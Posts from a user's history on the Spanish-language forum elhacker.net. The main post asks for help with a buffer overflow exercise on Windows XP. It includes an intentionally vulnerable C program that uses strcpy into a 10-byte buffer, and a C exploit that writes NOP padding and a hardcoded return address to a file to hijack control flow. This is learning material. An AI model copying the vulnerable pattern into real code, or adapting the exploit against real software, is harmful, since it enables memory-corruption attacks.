elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 [2]
11  Programación / Programación C/C++ / Re: [ Ayuda ] BufferOverflow en Windows en: 14 Febrero 2011, 23:26 pm
Gracias Sagrini, ahora no se cae el programa :)
el exit(0) finaliza el programa...

Sin embargo me quedó una duda...
Existe alguna forma de continuar el programa?, me explico...

Despues de llamar a la funcionOculta...
podemos volver al main?[ Me gusta enredarme la cabeza y hacerme preguntas xD ].

En este caso el programa haría: [main]LeerFichero-->FuncionVulnerable-->FuncionOculta---[main] System("pause");
12  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : Grupos en: 14 Febrero 2011, 01:36 am
Grupo 5: Yo tengo linux Mint Helena :P
13  Programación / Programación C/C++ / [ Ayuda ] BufferOverflow en Windows en: 13 Febrero 2011, 15:30 pm
Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int LeerFichero( char *, char *, int );
  6. int FuncionVulnerable( char * );
  7. int FuncionOculta();
  8.  
  9. main()
  10. {
  11.      char buffer[1000];
  12.      char nombre[] = "archivo.txt";
  13.      LeerFichero( buffer, nombre, 1000 );
  14.      FuncionVulnerable( buffer );
  15.      system( "pause" );
  16.      return 0;    
  17. }
  18.  
  19. int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
  20.    int c, n=0;
  21.    FILE *f;
  22.    f = fopen( Fnombre, "r" );
  23.    while( ( c = getc(f) ) != EOF ){
  24.        if( n<Limite )
  25.            Fbuffer[n++] = c;
  26.    }
  27.    Fbuffer[n++] = 0;
  28.    fclose(f);
  29.    return 0;
  30. }
  31.  
  32. int FuncionVulnerable( char *cptr ){
  33.    char buff[10] = "Datos";                
  34.    strcpy( buff, cptr );
  35.    printf( " %s\n\n ", buff );
  36.    return 0;
  37. }
  38.  
  39. int FuncionOculta(  )
  40. {
  41.    printf( "  Descubriste la Funcion Oculta!" );
  42.    return 0;
  43. }
  44.  
  45.  
  46.  

Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. main()
  6. {
  7.      char ret[] = "\xEC\x13\x40\x00";
  8.      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  9.                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  10.                    "\x90\x90\x90\x90\x90\x90\x90\x90";
  11.  
  12.      FILE *arch;
  13.      arch = fopen( "archivo.txt", "w" );
  14.  
  15.      printf( "\n%s\n", ret );
  16.      printf( "\n%s\n", nops );
  17.  
  18.      fputs( nops, arch );
  19.      fputs( ret, arch );
  20.      fclose( arch );
  21.      printf( "\n\nExploit Listaylor\n" );
  22.      getchar();
  23.      return 0;
  24. }
  25.  
  26.  

Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]
14  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : ¿Te apuntas? en: 13 Febrero 2011, 15:19 pm
Aquí mi post, perdonen la hora ... acá en Chile son las 11.48 am.
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines